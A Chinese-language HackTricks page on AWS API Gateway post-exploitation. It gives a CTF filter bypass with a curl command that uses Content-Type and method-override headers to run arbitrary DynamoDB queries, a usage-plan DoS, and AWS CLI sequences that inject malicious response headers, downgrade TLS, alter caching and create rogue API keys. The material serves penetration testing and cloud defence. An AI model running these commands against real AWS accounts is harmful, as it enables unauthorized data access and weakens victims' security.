AWS - API Gateway Post Exploitation

支持 HackTricks

API Gateway

有关更多信息,请查看:

访问未公开的 API

您可以在 https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint 创建一个服务为 com.amazonaws.us-east-1.execute-api 的端点,在您有访问权限的网络中公开该端点(可能通过 EC2 机器),并分配一个允许所有连接的安全组。 然后,您将能够从 EC2 机器访问该端点,从而调用之前未公开的网关 API。

绕过请求体透传

此技术在 此 CTF 文章 中发现。

正如 AWS 文档PassthroughBehavior 部分所示,默认情况下,值 WHEN_NO_MATCH 在检查请求的 Content-Type 头时,将请求传递给后端而不进行任何转换。

因此,在 CTF 中,API Gateway 有一个集成模板,该模板 阻止了标志在发送请求时被外泄,请求的 Content-Typeapplication/json

RequestTemplates:
application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}'

然而,发送一个带有 Content-type: text/json 的请求将会阻止该过滤器。

最后,由于 API Gateway 仅允许 GetOptions,可以通过发送一个包含查询的 POST 请求,并使用头部 X-HTTP-Method-Override: GET 来发送任意的 dynamoDB 查询,而没有任何限制:

curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers -H 'X-HTTP-Method-Override: GET' -H 'Content-Type: text/json'  --data '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename = :moviename","ExpressionAttributeValues":{":moviename":{"S":"hackers"}}}'

使用计划 DoS

Enumeration 部分,您可以看到如何 获取密钥的使用计划。如果您拥有密钥并且它的 每月使用次数限制为 X 次,您可以 直接使用它并造成 DoS

API Key 只需包含在一个名为 x-api-keyHTTP 头 中。

apigateway:UpdateGatewayResponse, apigateway:CreateDeployment

拥有权限 apigateway:UpdateGatewayResponseapigateway:CreateDeployment 的攻击者可以 修改现有的 Gateway Response,以包含自定义头或响应模板,这些模板泄露敏感信息或执行恶意脚本

API_ID="your-api-id"
RESPONSE_TYPE="DEFAULT_4XX"

# Update the Gateway Response
aws apigateway update-gateway-response --rest-api-id $API_ID --response-type $RESPONSE_TYPE --patch-operations op=replace,path=/responseTemplates/application~1json,value="{\"message\":\"$context.error.message\", \"malicious_header\":\"malicious_value\"}"

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

潜在影响:敏感信息泄露、执行恶意脚本或未经授权访问API资源。

需要测试

apigateway:UpdateStage, apigateway:CreateDeployment

拥有权限 apigateway:UpdateStageapigateway:CreateDeployment 的攻击者可以修改现有的API Gateway阶段,将流量重定向到不同的阶段或更改缓存设置,以获得对缓存数据的未经授权访问

API_ID="your-api-id"
STAGE_NAME="Prod"

# Update the API Gateway stage
aws apigateway update-stage --rest-api-id $API_ID --stage-name $STAGE_NAME --patch-operations op=replace,path=/cacheClusterEnabled,value=true,op=replace,path=/cacheClusterSize,value="0.5"

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

潜在影响:未经授权访问缓存数据,干扰或拦截API流量。

需要测试

apigateway:PutMethodResponse, apigateway:CreateDeployment

具有权限 apigateway:PutMethodResponseapigateway:CreateDeployment 的攻击者可以修改现有API Gateway REST API方法的响应,以包含自定义头或响应模板,从而泄露敏感信息或执行恶意脚本

API_ID="your-api-id"
RESOURCE_ID="your-resource-id"
HTTP_METHOD="GET"
STATUS_CODE="200"

# Update the method response
aws apigateway put-method-response --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --status-code $STATUS_CODE --response-parameters "method.response.header.malicious_header=true"

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

潜在影响:敏感信息泄露、执行恶意脚本或未经授权访问API资源。

需要测试

apigateway:UpdateRestApi, apigateway:CreateDeployment

拥有权限 apigateway:UpdateRestApiapigateway:CreateDeployment 的攻击者可以修改API Gateway REST API设置以禁用日志记录或更改最低TLS版本,从而可能削弱API的安全性

API_ID="your-api-id"

# Update the REST API settings
aws apigateway update-rest-api --rest-api-id $API_ID --patch-operations op=replace,path=/minimumTlsVersion,value='TLS_1.0',op=replace,path=/apiKeySource,value='AUTHORIZER'

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

潜在影响:削弱API的安全性,可能允许未经授权的访问或暴露敏感信息。

需要测试

apigateway:CreateApiKey, apigateway:UpdateApiKey, apigateway:CreateUsagePlan, apigateway:CreateUsagePlanKey

拥有权限 apigateway:CreateApiKeyapigateway:UpdateApiKeyapigateway:CreateUsagePlanapigateway:CreateUsagePlanKey 的攻击者可以创建新的API密钥,将其与使用计划关联,然后使用这些密钥进行未经授权的API访问

# Create a new API key
API_KEY=$(aws apigateway create-api-key --enabled --output text --query 'id')

# Create a new usage plan
USAGE_PLAN=$(aws apigateway create-usage-plan --name "MaliciousUsagePlan" --output text --query 'id')

# Associate the API key with the usage plan
aws apigateway create-usage-plan-key --usage-plan-id $USAGE_PLAN --key-id $API_KEY --key-type API_KEY

潜在影响:未经授权访问API资源,绕过安全控制。

需要测试

支持HackTricks

Last updated